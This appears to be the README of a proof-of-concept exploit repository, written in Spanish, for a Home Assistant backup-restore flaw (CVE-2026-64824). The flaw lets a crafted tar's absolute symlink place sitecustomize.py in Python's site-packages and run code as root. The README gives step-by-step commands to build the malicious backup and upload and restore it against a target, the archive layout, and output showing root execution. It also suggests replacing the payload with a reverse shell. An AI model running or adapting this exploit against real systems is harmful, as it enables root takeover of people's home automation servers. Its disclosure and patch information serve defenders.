
CVE-2026-64824 — recorrido de ruta por symlink en la restauración de copias de seguridad de Home Assistant → RCE como root. Primer PoC funcional, verificado en HA real 2026.5.4 (sobrescritura de sitecustomize.py). GHSA-cwh8-w64c-4j5h
CVSS 8.4 (Crítico) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
Un atacante autenticado (admin) sube un tar de copia de seguridad manipulado. La
ruta de restauración extrae el homeassistant.tar.gz interno con
filter="fully_trusted" y solo valida los nombres de los miembros — nunca los
linknames SYMTYPE. Un enlace simbólico que apunta a una ruta absoluta (p. ej.,
site-packages/ de Python) se respeta, por lo que un sitecustomize.py escrito
después de él termina fuera del directorio de extracción como root (la
imagen oficial de Docker ejecuta HA como root). En el siguiente arranque de
Python se importa automáticamente → RCE como root.
✅ Instancia real de Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py quedó en /usr/local/lib/python3.14/site-packages/ (propiedad de root)
✅ Comprobación negativa: el tarfile de Python 3.14.5 rechaza los enlaces simbólicos absolutos (FileExistsError); Python 3.14.2 (incluido con HA 2026.5.x) los extrae — por eso las versiones anteriores son explotables. Corregido en HA 2026.7.0.
homeassistant/backup_restore.py (~v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() rechaza los nombres absolutos y el traversal .., pero un
miembro SYMTYPE con un nombre benigno + un linkname absoluto pasa el filtro
sin cambios, y fully_trusted le indica a tarfile que no lo vigile.
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
Formato de la copia de seguridad (v2, coincide con las copias reales de HA):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
Cualquier arranque de un proceso Python (reinicio de HA, python3 ... en el
contenedor) activa sitecustomize.py — que ejecuta id > /tmp/HA_PWNED_64824
como root. Sustituye el payload por una reverse shell para el control total.
Actualiza a HA 2026.7.0+ (la restauración ahora usa un filtro tar estricto que rechaza las entradas de enlaces simbólicos que escapan del directorio de extracción).
Solo con fines de investigación/educación. La vulnerabilidad ya fue divulgada (GHSA-cwh8-w64c-4j5h) y corregida en 2026.7.0; este repositorio demuestra la cadena de explotación para defensores e investigadores.